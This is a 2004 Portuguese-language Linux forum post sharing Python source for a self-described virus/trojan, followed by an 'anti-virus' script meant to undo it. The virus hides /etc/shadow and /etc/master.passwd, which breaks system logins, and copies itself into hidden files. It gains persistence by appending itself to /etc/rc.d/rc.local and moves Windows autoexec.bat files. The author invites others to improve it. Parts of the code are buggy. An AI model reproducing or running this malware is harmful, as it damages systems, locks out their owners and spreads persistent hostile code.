Virus, trojan, sei la o que é isso
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 26.350 ]
Estava fazendo um projeto de um semi-virus ou seria um trojan..., sei lá o q é isso, mas faz um estrago. LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
ACEITO AJUDAS..............
Se voce executou o virus use o anti-virus para tentar recuperar as coisas
REPETINDO...
LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
#ESSE É O CODIGO DO VIRUS #------------------------------------ #!/usr/bin/env python import os ##################################### #Virus and python # #version 0.5 # # # #Colaborações sao bem vindas # # # #DICA: Antes de executar o programa # #copie os arquivos /etc/shadow e o # #arquivo do windows autoexec.bat # # # #NAO ME RESPONSABILIZO PELOS # #DANOS CAUSADOS, ISSO É PROBLEMA SEU# # # #REGISTRADO PELA A LICENCA GPL # ##################################### def linux(): try: os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus list() # Vai para a funcao list() except: bsd() def bsd(): try: os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus list() # Vai para a funcao list() except: list() def list(): # Funcao lista arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt lis = os.listdir('/etc/') #Lista o que tem no /etc/ aa = "%s" %(lis) arq.write(aa) # Grava no arquivo arq.close() os.system('cp virus.py .arq.py') # Copia o virus os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM os.system('cp .arq.py /etc/rc.d/.conf.py') os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local') rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao rc1 = "python /etc/rc.d/.conf.py\n" aaa = "%s" %(rc1) rc.write(aaa) rc.close() os.system('chmod -x .arq.py') # muda as permisoes os.system('chown root.root .arq.py') # muda o usuario procura() def win_c(): try: os.system('mv /mnt/win_c/autoexec.bat .autoexec.bat') # Num preciso nem falar #os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat except: exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog def c(): try: os.sytem('mv /mnt/c/autoexec.bat .autoexec.bat') # num vo fala nada ^^^ #os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat except: win_c() # caso nao tenha ele vai para a funcao win_c() def procura(): try: os.remove('mv /mnt/windows/autoexec.bat ./.autoexec.bat')# o q será isso?????^^^^????? #os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat except: c() # se nao tiver ele passa para a funcao c() def dig(): linux() # Colocar alguma coisa dig() #---------------------------------------------- # AGORA o DO ANTI-VIRUS #--------------------------------------------- #!/usr/bin/python ################################ #Quem Cria também distroi # #Anti-virus para a merda que eu# #fiz....infeslimente..o feitiço# #virou contra o feiticeiro.....# #tomara que funcione # ############################### import os def linux(): try: os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus #os.remove('/etc/shadow') # Remove o arquivo etc shadow list() # Vai para a funcao list() except: bsd() def bsd(): try: os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus #os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd list() # Vai para a funcao list() except: list() def list(): # Funcao lista os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt os.system('rm -rf .arq.py') # Remove o virus os.system('rm -rf ../.conf.py'); # remove o virus os.system('rm -rf /etc/rc.d/.conf.py') os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local') procura() def win_c(): try: os.system('cp .autoexec.bat /mnt/win_c/autoexec.bat') # Num preciso nem falar #os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat except: exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog def c(): try: os.sytem('cp .autoexec.bat /mnt/c/autoexec.bat') # num vo fala nada ^^^ #os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat except: win_c() # caso nao tenha ele vai para a funcao win_c() def procura(): try: os.remove('cp .autoexec.bat /mnt/windows/autoexec.bat')# o q será isso?????^^^^????? #os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat except: c() # se nao tiver ele passa para a funcao c() def dig(): linux() # Colocar alguma coisa dig()
Programa para calcular a média e a nota trimestral
Painel com botões desligar, reiniciar, logoff e bloquear tela
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Como renomear arquivos de letras maiúsculas para minúsculas
Imprimindo no formato livreto no Linux
Vim - incrementando números em substituição
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Vou voltar moderar conteúdos de Dicas e Artigos (1)
SysAdmin ou DevOps: Qual curso inicial pra essa área? (3)
É cada coisa que me aparece! - não é só 3% (3)
Melhorando a precisão de valores flutuantes em python[AJUDA] (5)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta